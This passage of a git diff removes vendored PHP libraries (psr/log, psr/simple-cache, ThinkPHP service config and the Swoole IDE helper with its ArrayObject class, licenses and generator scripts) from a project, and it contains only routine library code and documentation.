hasRecordThatPasses(callable $predicate, $level) - { - if (!isset($this->recordsByLevel[$level])) { - return false; - } - foreach ($this->recordsByLevel[$level] as $i => $rec) { - if (call_user_func($predicate, $rec, $i)) { - return true; - } - } - return false; - } - - public function __call($method, $args) - { - if (preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/', $method, $matches) > 0) { - $genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3]; - $level = strtolower($matches[2]); - if (method_exists($this, $genericMethod)) { - $args[] = $level; - return call_user_func_array([$this, $genericMethod], $args); - } - } - throw new \BadMethodCallException('Call to undefined method ' . get_class($this) . '::' . $method . '()'); - } - - public function reset() - { - $this->records = []; - $this->recordsByLevel = []; - } -} diff --git a/vendor/psr/log/README.md b/vendor/psr/log/README.md deleted file mode 100644 index a9f20c4..0000000 --- a/vendor/psr/log/README.md +++ /dev/null @@ -1,58 +0,0 @@ -PSR Log -======= - -This repository holds all interfaces/classes/traits related to -[PSR-3](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md). - -Note that this is not a logger of its own. It is merely an interface that -describes a logger. See the specification for more details. - -Installation ------------- - -```bash -composer require psr/log -``` - -Usage ------ - -If you need a logger, you can use the interface like this: - -```php -logger = $logger; - } - - public function doSomething() - { - if ($this->logger) { - $this->logger->info('Doing work'); - } - - try { - $this->doSomethingElse(); - } catch (Exception $exception) { - $this->logger->error('Oh no!', array('exception' => $exception)); - } - - // do something useful - } -} -``` - -You can then pick one of the implementations of the interface to get a logger. - -If you want to implement the interface, you can require this package and -implement `Psr\Log\LoggerInterface` in your code. Please read the -[specification text](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md) -for details. diff --git a/vendor/psr/log/composer.json b/vendor/psr/log/composer.json deleted file mode 100644 index 3f6d4ee..0000000 --- a/vendor/psr/log/composer.json +++ /dev/null @@ -1,26 +0,0 @@ -{ - "name": "psr/log", - "description": "Common interface for logging libraries", - "keywords": ["psr", "psr-3", "log"], - "homepage": "https://github.com/php-fig/log", - "license": "MIT", - "authors": [ - { - "name": "PHP-FIG", - "homepage": "http://www.php-fig.org/" - } - ], - "require": { - "php": ">=5.3.0" - }, - "autoload": { - "psr-4": { - "Psr\\Log\\": "Psr/Log/" - } - }, - "extra": { - "branch-alias": { - "dev-master": "1.1.x-dev" - } - } -} diff --git a/vendor/psr/simple-cache/.editorconfig b/vendor/psr/simple-cache/.editorconfig deleted file mode 100644 index 48542cb..0000000 --- a/vendor/psr/simple-cache/.editorconfig +++ /dev/null @@ -1,12 +0,0 @@ -; This file is for unifying the coding style for different editors and IDEs. -; More information at http://editorconfig.org - -root = true - -[*] -charset = utf-8 -indent_size = 4 -indent_style = space -end_of_line = lf -insert_final_newline = true -trim_trailing_whitespace = true diff --git a/vendor/psr/simple-cache/LICENSE.md b/vendor/psr/simple-cache/LICENSE.md deleted file mode 100644 index e49a7c8..0000000 --- a/vendor/psr/simple-cache/LICENSE.md +++ /dev/null @@ -1,21 +0,0 @@ -# The MIT License (MIT) - -Copyright (c) 2016 PHP Framework Interoperability Group - -> Permission is hereby granted, free of charge, to any person obtaining a copy -> of this software and associated documentation files (the "Software"), to deal -> in the Software without restriction, including without limitation the rights -> to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -> copies of the Software, and to permit persons to whom the Software is -> furnished to do so, subject to the following conditions: -> -> The above copyright notice and this permission notice shall be included in -> all copies or substantial portions of the Software. -> -> THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -> IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -> FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -> AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -> LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -> OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -> THE SOFTWARE. diff --git a/vendor/psr/simple-cache/README.md b/vendor/psr/simple-cache/README.md deleted file mode 100644 index 43641d1..0000000 --- a/vendor/psr/simple-cache/README.md +++ /dev/null @@ -1,8 +0,0 @@ -PHP FIG Simple Cache PSR -======================== - -This repository holds all interfaces related to PSR-16. - -Note that this is not a cache implementation of its own. It is merely an interface that describes a cache implementation. See [the specification](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-16-simple-cache.md) for more details. - -You can find implementations of the specification by looking for packages providing the [psr/simple-cache-implementation](https://packagist.org/providers/psr/simple-cache-implementation) virtual package. diff --git a/vendor/psr/simple-cache/composer.json b/vendor/psr/simple-cache/composer.json deleted file mode 100644 index 2978fa5..0000000 --- a/vendor/psr/simple-cache/composer.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "name": "psr/simple-cache", - "description": "Common interfaces for simple caching", - "keywords": ["psr", "psr-16", "cache", "simple-cache", "caching"], - "license": "MIT", - "authors": [ - { - "name": "PHP-FIG", - "homepage": "http://www.php-fig.org/" - } - ], - "require": { - "php": ">=5.3.0" - }, - "autoload": { - "psr-4": { - "Psr\\SimpleCache\\": "src/" - } - }, - "extra": { - "branch-alias": { - "dev-master": "1.0.x-dev" - } - } -} diff --git a/vendor/psr/simple-cache/src/CacheException.php b/vendor/psr/simple-cache/src/CacheException.php deleted file mode 100644 index eba5381..0000000 --- a/vendor/psr/simple-cache/src/CacheException.php +++ /dev/null @@ -1,10 +0,0 @@ - value pairs. Cache keys that do not exist or are stale will have $default as value. - * - * @throws \Psr\SimpleCache\InvalidArgumentException - * MUST be thrown if $keys is neither an array nor a Traversable, - * or if any of the $keys are not a legal value. - */ - public function getMultiple($keys, $default = null); - - /** - * Persists a set of key => value pairs in the cache, with an optional TTL. - * - * @param iterable $values A list of key => value pairs for a multiple-set operation. - * @param null|int|\DateInterval $ttl Optional. The TTL value of this item. If no value is sent and - * the driver supports TTL then the library may set a default value - * for it or let the driver take care of that. - * - * @return bool True on success and false on failure. - * - * @throws \Psr\SimpleCache\InvalidArgumentException - * MUST be thrown if $values is neither an array nor a Traversable, - * or if any of the $values are not a legal value. - */ - public function setMultiple($values, $ttl = null); - - /** - * Deletes multiple cache items in a single operation. - * - * @param iterable $keys A list of string-based keys to be deleted. - * - * @return bool True if the items were successfully removed. False if there was an error. - * - * @throws \Psr\SimpleCache\InvalidArgumentException - * MUST be thrown if $keys is neither an array nor a Traversable, - * or if any of the $keys are not a legal value. - */ - public function deleteMultiple($keys); - - /** - * Determines whether an item is present in the cache. - * - * NOTE: It is recommended that has() is only to be used for cache warming type purposes - * and not to be used within your live applications operations for get/set, as this method - * is subject to a race condition where your has() will return true and immediately after, - * another script can remove it making the state of your app out of date. - * - * @param string $key The cache item key. - * - * @return bool - * - * @throws \Psr\SimpleCache\InvalidArgumentException - * MUST be thrown if the $key string is not a legal value. - */ - public function has($key); -} diff --git a/vendor/psr/simple-cache/src/InvalidArgumentException.php b/vendor/psr/simple-cache/src/InvalidArgumentException.php deleted file mode 100644 index 6a9524a..0000000 --- a/vendor/psr/simple-cache/src/InvalidArgumentException.php +++ /dev/null @@ -1,13 +0,0 @@ - 'think\\captcha\\CaptchaService', - 1 => 'think\\app\\Service', - 2 => 'think\\swoole\\Service', - 3 => 'think\\trace\\Service', -); \ No newline at end of file diff --git a/vendor/swoole/ide-helper/.gitignore b/vendor/swoole/ide-helper/.gitignore deleted file mode 100644 index 347a927..0000000 --- a/vendor/swoole/ide-helper/.gitignore +++ /dev/null @@ -1,4 +0,0 @@ -/.idea/ -/composer.lock -/composer.phar -/vendor/ diff --git a/vendor/swoole/ide-helper/.travis.yml b/vendor/swoole/ide-helper/.travis.yml deleted file mode 100644 index df2c121..0000000 --- a/vendor/swoole/ide-helper/.travis.yml +++ /dev/null @@ -1,10 +0,0 @@ -language: php - -php: - - 7.3 - -before_install: - - composer update -n - -script: - - ./vendor/bin/phpcs -v --standard=PSR12 bin src diff --git a/vendor/swoole/ide-helper/LICENSE b/vendor/swoole/ide-helper/LICENSE deleted file mode 100644 index ad00f19..0000000 --- a/vendor/swoole/ide-helper/LICENSE +++ /dev/null @@ -1,202 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright Tianfeng.Han [mikan.tenny@gmail.com] - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/vendor/swoole/ide-helper/README.md b/vendor/swoole/ide-helper/README.md deleted file mode 100644 index 39e097a..0000000 --- a/vendor/swoole/ide-helper/README.md +++ /dev/null @@ -1,53 +0,0 @@ -# Swoole IDE Helper - -[![Build Status](https://travis-ci.org/swoole/ide-helper.svg?branch=master)](https://travis-ci.org/swoole/ide-helper) -[![Latest Stable Version](https://poser.pugx.org/swoole/ide-helper/v/stable.svg)](https://packagist.org/packages/swoole/ide-helper) -[![License](https://poser.pugx.org/swoole/ide-helper/license)](LICENSE) - -This package contains IDE help files for [Swoole](https://github.com/swoole/swoole-src). You may use it in your IDE to provide accurate autocompletion. - -## Install - -You may add this package to your project using [Composer](https://getcomposer.org): - -```bash -composer require swoole/ide-helper:@dev -# or you may install a specific version, like: -composer require swoole/ide-helper:~4.4.7 -``` - -It's better to install this package on only development systems by adding the `--dev` flag to your Composer commands: - -```bash -composer require --dev swoole/ide-helper:@dev -# or you may install a specific version, like: -composer require --dev swoole/ide-helper:~4.4.7 -``` - -## Alternatives - -The stubs are created by reverse-engineering the Swoole extensions directly; thus there is no documentation included, -and type hinting is missing in many places. The Swoole team has tried its best to keep the stubs up to date, and we do -want to add inline documentation and type hinting in the future; however, due to limited resources we don't know when it -will be ready. - -Here are some alternatives you can consider: - -* [eaglewu/swoole-ide-helper](https://github.com/wudi/swoole-ide-helper) - -## Generate IDE Help Files - -Have Docker running first, then use script _./bin/generator.sh_ to generate IDE help files and put them under folder -`output/` with commands like following: - -```bash -./bin/generator.sh 4.4.16 -./bin/generator.sh 4.4.16 master -./bin/generator.sh 4.4.16 4.4.16 -./bin/generator.sh 4.4.16 b5c9cede8c6150feba50d0e28d56de355fa69d16 -./bin/generator.sh 4.5.0RC1 7c913105c3273aab005489d78e0ff9043bfecb54 -# -``` - -The first parameter specifies a stable release of Swoole. The second parameter is optional; it is to specify which -version of [Swoole library](https://github.com/swoole/library) to be integrated with (by default it will have the latest Swoole library included). diff --git a/vendor/swoole/ide-helper/bin/generator.php b/vendor/swoole/ide-helper/bin/generator.php deleted file mode 100644 index 319407a..0000000 --- a/vendor/swoole/ide-helper/bin/generator.php +++ /dev/null @@ -1,34 +0,0 @@ -#!/usr/bin/env php -export(); - echo "IDE help files for {$generator->getExtension()} {$generator->getVersion()} generated successfully.\n"; -} diff --git a/vendor/swoole/ide-helper/bin/generator.sh b/vendor/swoole/ide-helper/bin/generator.sh deleted file mode 100644 index 8534a50..0000000 --- a/vendor/swoole/ide-helper/bin/generator.sh +++ /dev/null @@ -1,30 +0,0 @@ -#!/usr/bin/env bash -# -# To generate IDE help files of Swoole. -# -# How to use this script: -# ./bin/generator.sh 4.4.16 -# ./bin/generator.sh 4.4.16 master -# ./bin/generator.sh 4.4.16 4.4.16 -# ./bin/generator.sh 4.4.16 b5c9cede8c6150feba50d0e28d56de355fa69d16 -# ./bin/generator.sh 4.5.0RC1 7c913105c3273aab005489d78e0ff9043bfecb54 -# -# The first parameter specifies a stable release of Swoole. The second parameter is optional; it is to specify which -# version of Swoole library to be integrated with (by default it will have the latest Swoole library included). -# - -set -e - -pushd "`dirname "$0"`" > /dev/null -ROOT_PATH="`pwd -P`/.." -popd > /dev/null # Switch back to current directory. - -cd "${ROOT_PATH}" # Switch to root directory of project "ide-helper". - -rm -rf ./output -docker run --rm \ - -v "$(pwd)":/var/www \ - -e SWOOLE_LIB_VERSION=${2} \ - -t phpswoole/swoole:${1}-php7.1 \ - bash -c "composer install && ./bin/generator.php" -git add ./output diff --git a/vendor/swoole/ide-helper/composer.json b/vendor/swoole/ide-helper/composer.json deleted file mode 100644 index 4672285..0000000 --- a/vendor/swoole/ide-helper/composer.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "name": "swoole/ide-helper", - "type": "library", - "description": "IDE help files for Swoole.", - "license": "Apache-2.0", - "authors": [ - { - "name": "Team Swoole", - "email": "team@swoole.com" - } - ], - "require-dev": { - "guzzlehttp/guzzle": "~6.5.0", - "laminas/laminas-code": "~3.4.0", - "squizlabs/php_codesniffer": "~3.5.0", - "symfony/filesystem": "~4.0" - }, - "autoload-dev": { - "psr-4": { - "Swoole\\IDEHelper\\": "src/" - } - } -} diff --git a/vendor/swoole/ide-helper/config/chinese/server/method/send.php b/vendor/swoole/ide-helper/config/chinese/server/method/send.php deleted file mode 100644 index f6061c1..0000000 --- a/vendor/swoole/ide-helper/config/chinese/server/method/send.php +++ /dev/null @@ -1,27 +0,0 @@ - ' - * 向客户端发送数据 - * - * * $data,发送的数据。TCP协议最大不得超过2M,UDP协议不得超过64K - * * 发送成功会返回true,如果连接已被关闭或发送失败会返回false - * - * TCP服务器 - * ------------------------------------------------------------------------- - * * send操作具有原子性,多个进程同时调用send向同一个连接发送数据,不会发生数据混杂 - * * 如果要发送超过2M的数据,可以将数据写入临时文件,然后通过sendfile接口进行发送 - * - * swoole-1.6以上版本不需要$from_id - * - * UDP服务器 - * ------------------------------------------------------------------------ - * * send操作会直接在worker进程内发送数据包,不会再经过主进程转发 - * * 使用fd保存客户端IP,from_id保存from_fd和port - * * 如果在onReceive后立即向客户端发送数据,可以不传$reactor_id - * * 如果向其他UDP客户端发送数据,必须要传入$reactor_id - * * 在外网服务中发送超过64K的数据会分成多个传输单元进行发送,如果其中一个单元丢包,会导致整个包被丢弃。所以外网服务,建议发送1.5K以下的数据包 - *', - //返回值 - 'return' => 'bool' -); \ No newline at end of file diff --git a/vendor/swoole/ide-helper/output/swoole/aliases.php b/vendor/swoole/ide-helper/output/swoole/aliases.php deleted file mode 100644 index 2853fb1..0000000 --- a/vendor/swoole/ide-helper/output/swoole/aliases.php +++ /dev/null @@ -1,49 +0,0 @@ -add($fn, ...$args); - return $s->start(); - } -} - -namespace Co { - if (SWOOLE_USE_SHORTNAME) { - function run(callable $fn, ...$args) - { - return \Swoole\Coroutine\Run($fn, ...$args); - } - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/ArrayObject.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/ArrayObject.php deleted file mode 100644 index 19680f1..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/ArrayObject.php +++ /dev/null @@ -1,681 +0,0 @@ -array = $array; - } - - public function __toArray(): array - { - return $this->array; - } - - public function toArray(): array - { - return $this->array; - } - - public function isEmpty(): bool - { - return empty($this->array); - } - - public function count(): int - { - return count($this->array); - } - - /** - * @return mixed - */ - public function current() - { - return current($this->array); - } - - /** - * @return mixed - */ - public function key() - { - return key($this->array); - } - - public function valid(): bool - { - return array_key_exists($this->key(), $this->array); - } - - /** - * @return mixed - */ - public function rewind() - { - return reset($this->array); - } - - /** - * @return mixed - */ - public function next() - { - return next($this->array); - } - - /** - * @param mixed $key - * @return ArrayObject|StringObject - */ - public function get($key) - { - if (!$this->exists($key)) { - throw new ArrayKeyNotExists($key); - } - return static::detectType($this->array[$key]); - } - - /** - * @return mixed - */ - public function last() - { - $key = array_key_last($this->array); - if ($key === null) { - return null; - } - return $this->get($key); - } - - /** - * @return null|int|string - */ - public function firstKey() - { - return array_key_first($this->array); - } - - /** - * @return null|int|string - */ - public function lastKey() - { - return array_key_last($this->array); - } - - /** - * @return mixed - */ - public function first() - { - $key = array_key_first($this->array); - if ($key === null) { - return null; - } - return $this->get($key); - } - - /** - * @param mixed $key - * @param mixed $value - * @return $this - */ - public function set($key, $value): self - { - $this->array[$key] = $value; - return $this; - } - - /** - * @param mixed $key - * @return $this - */ - public function delete($key): self - { - unset($this->array[$key]); - return $this; - } - - /** - * @param mixed $value - * @return $this - */ - public function remove($value, bool $strict = true, bool $loop = false): self - { - do { - $key = $this->search($value, $strict); - if ($key === false) { - break; - } - unset($this->array[$key]); - } while ($loop); - - return $this; - } - - /** - * @return $this - */ - public function clear(): self - { - $this->array = []; - return $this; - } - - /** - * @param mixed $key - * @return null|mixed - */ - public function offsetGet($key) - { - if (!array_key_exists($key, $this->array)) { - return null; - } - return $this->array[$key]; - } - - /** - * @param mixed $key - * @param mixed $value - */ - public function offsetSet($key, $value): void - { - $this->array[$key] = $value; - } - - /** - * @param mixed $key - */ - public function offsetUnset($key): void - { - unset($this->array[$key]); - } - - /** - * @param mixed $key - * @return bool - */ - public function offsetExists($key) - { - return isset($this->array[$key]); - } - - /** - * @param mixed $key - */ - public function exists($key): bool - { - return array_key_exists($key, $this->array); - } - - /** - * @param mixed $value - */ - public function contains($value, bool $strict = true): bool - { - return in_array($value, $this->array, $strict); - } - - /** - * @param mixed $value - * @return mixed - */ - public function indexOf($value, bool $strict = true) - { - return $this->search($value, $strict); - } - - /** - * @param mixed $value - * @return mixed - */ - public function lastIndexOf($value, bool $strict = true) - { - $array = $this->array; - for (end($array); ($currentKey = key($array)) !== null; prev($array)) { - $currentValue = current($array); - if ($currentValue == $value) { - if ($strict && $currentValue !== $value) { - continue; - } - break; - } - } - return $currentKey; - } - - /** - * @param mixed $needle - * @return mixed - */ - public function search($needle, bool $strict = true) - { - return array_search($needle, $this->array, $strict); - } - - public function join(string $glue = ''): StringObject - { - return static::detectStringType(implode($glue, $this->array)); - } - - public function serialize(): StringObject - { - return static::detectStringType(serialize($this->array)); - } - - /** - * @param string $string - * @return $this - */ - public function unserialize($string): self - { - $this->array = (array) unserialize((string) $string); - return $this; - } - - /** - * @return float|int - */ - public function sum() - { - return array_sum($this->array); - } - - /** - * @return float|int - */ - public function product() - { - return array_product($this->array); - } - - /** - * @param mixed $value - * @return int - */ - public function push($value) - { - return $this->pushBack($value); - } - - /** - * @param mixed $value - * @return int - */ - public function pushFront($value) - { - return array_unshift($this->array, $value); - } - - public function append(...$values): ArrayObject - { - array_push($this->array, ...$values); - return $this; - } - - /** - * @param mixed $value - * @return int - */ - public function pushBack($value) - { - return array_push($this->array, $value); - } - - /** - * @param mixed $value - * @return $this - */ - public function insert(int $offset, $value): self - { - if (is_array($value) || is_object($value) || is_null($value)) { - $value = [$value]; - } - array_splice($this->array, $offset, 0, $value); - return $this; - } - - /** - * @return mixed - */ - public function pop() - { - return $this->popBack(); - } - - /** - * @return mixed - */ - public function popFront() - { - return array_shift($this->array); - } - - /** - * @return mixed - */ - public function popBack() - { - return array_pop($this->array); - } - - /** - * @param mixed $offset - * @param int $length - * @return static - */ - public function slice($offset, int $length = null, bool $preserve_keys = false): self - { - return new static(array_slice($this->array, ...func_get_args())); - } - - /** - * @return ArrayObject|mixed|StringObject - */ - public function randomGet() - { - return static::detectType($this->array[array_rand($this->array, 1)]); - } - - /** - * @return $this - */ - public function each(callable $fn): self - { - if (array_walk($this->array, $fn) === false) { - throw new RuntimeException('array_walk() failed'); - } - return $this; - } - - /** - * @param array $args - * @return static - */ - public function map(callable $fn, ...$args): self - { - return new static(array_map($fn, $this->array, ...$args)); - } - - /** - * @param null $initial - * @return mixed - */ - public function reduce(callable $fn, $initial = null) - { - return array_reduce($this->array, $fn, $initial); - } - - /** - * @param array $args - * @return static - */ - public function keys(...$args): self - { - return new static(array_keys($this->array, ...$args)); - } - - /** - * @return static - */ - public function values(): self - { - return new static(array_values($this->array)); - } - - /** - * @param mixed $column_key - * @param mixed $index - * @return static - */ - public function column($column_key, $index = null): self - { - return new static(array_column($this->array, $column_key, $index)); - } - - /** - * @return static - */ - public function unique(int $sort_flags = SORT_STRING): self - { - return new static(array_unique($this->array, $sort_flags)); - } - - /** - * @return static - */ - public function reverse(bool $preserve_keys = false): self - { - return new static(array_reverse($this->array, $preserve_keys)); - } - - /** - * @return static - */ - public function chunk(int $size, bool $preserve_keys = false): self - { - return new static(array_chunk($this->array, $size, $preserve_keys)); - } - - /** - * Swap keys and values in an array. - * @return static - */ - public function flip(): self - { - return new static(array_flip($this->array)); - } - - /** - * @return static - */ - public function filter(callable $fn, int $flag = 0): self - { - return new static(array_filter($this->array, $fn, $flag)); - } - - /** - * | Function name | Sorts by | Maintains key association | Order of sort | Related functions | - * | :---------------- | :------- | :-------------------------- | :-------------------------- | :---------------- | - * | array_multisort() | value | associative yes, numeric no | first array or sort options | array_walk() | - * | asort() | value | yes | low to high | arsort() | - * | arsort() | value | yes | high to low | asort() | - * | krsort() | key | yes | high to low | ksort() | - * | ksort() | key | yes | low to high | asort() | - * | natcasesort() | value | yes | natural, case insensitive | natsort() | - * | natsort() | value | yes | natural | natcasesort() | - * | rsort() | value | no | high to low | sort() | - * | shuffle() | value | no | random | array_rand() | - * | sort() | value | no | low to high | rsort() | - * | uasort() | value | yes | user defined | uksort() | - * | uksort() | key | yes | user defined | uasort() | - * | usort() | value | no | user defined | uasort() | - */ - - /** - * @return $this - */ - public function asort(int $sort_flags = SORT_REGULAR): self - { - if (asort($this->array, $sort_flags) !== true) { - throw new RuntimeException('asort() failed'); - } - return $this; - } - - /** - * @return $this - */ - public function arsort(int $sort_flags = SORT_REGULAR): self - { - if (arsort($this->array, $sort_flags) !== true) { - throw new RuntimeException('arsort() failed'); - } - return $this; - } - - /** - * @return $this - */ - public function krsort(int $sort_flags = SORT_REGULAR): self - { - if (krsort($this->array, $sort_flags) !== true) { - throw new RuntimeException('krsort() failed'); - } - return $this; - } - - /** - * @return $this - */ - public function ksort(int $sort_flags = SORT_REGULAR): self - { - if (ksort($this->array, $sort_flags) !== true) { - throw new RuntimeException('ksort() failed'); - } - return $this; - } - - /** - * @return $this - */ - public function natcasesort(): self - { - if (natcasesort($this->array) !== true) { - throw new RuntimeException('natcasesort() failed'); - } - return $this; - } - - /** - * @return $this - */ - public function natsort(): self - { - if (natsort($this->array) !== true) { - throw new RuntimeException('natsort() failed'); - } - return $this; - } - - /** - * @return $this - */ - public function rsort(int $sort_flags = SORT_REGULAR): self - { - if (rsort($this->array, $sort_flags) !== true) { - throw new RuntimeException('rsort() failed'); - } - return $this; - } - - /** - * @return $this - */ - public function shuffle(): self - { - if (shuffle($this->array) !== true) { - throw new RuntimeException('shuffle() failed'); - } - return $this; - } - - /** - * @return $this - */ - public function sort(int $sort_flags = SORT_REGULAR): self - { - if (sort($this->array, $sort_flags) !== true) { - throw new RuntimeException('sort() failed'); - } - return $this; - } - - /** - * @return $this - */ - public function uasort(callable $value_compare_func): self - { - if (uasort($this->array, $value_compare_func) !== true) { - throw new RuntimeException('uasort() failed'); - } - return $this; - } - - /** - * @return $this - */ - public function uksort(callable $value_compare_func): self - { - if (uksort($this->array, $value_compare_func) !== true) { - throw new RuntimeException('uksort() failed'); - } - return $this; - } - - /** - * @return $this - */ - public function usort(callable $value_compare_func): self - { - if (usort($this->array, $value_compare_func) !== true) { - throw new RuntimeException('usort() failed'); - } - return $this; - } - - /** - * @param mixed $value - * @return ArrayObject|mixed|StringObject - */ - protected static function detectType($value) - { - if (is_string($value)) { - return static::detectStringType($value); - } - if 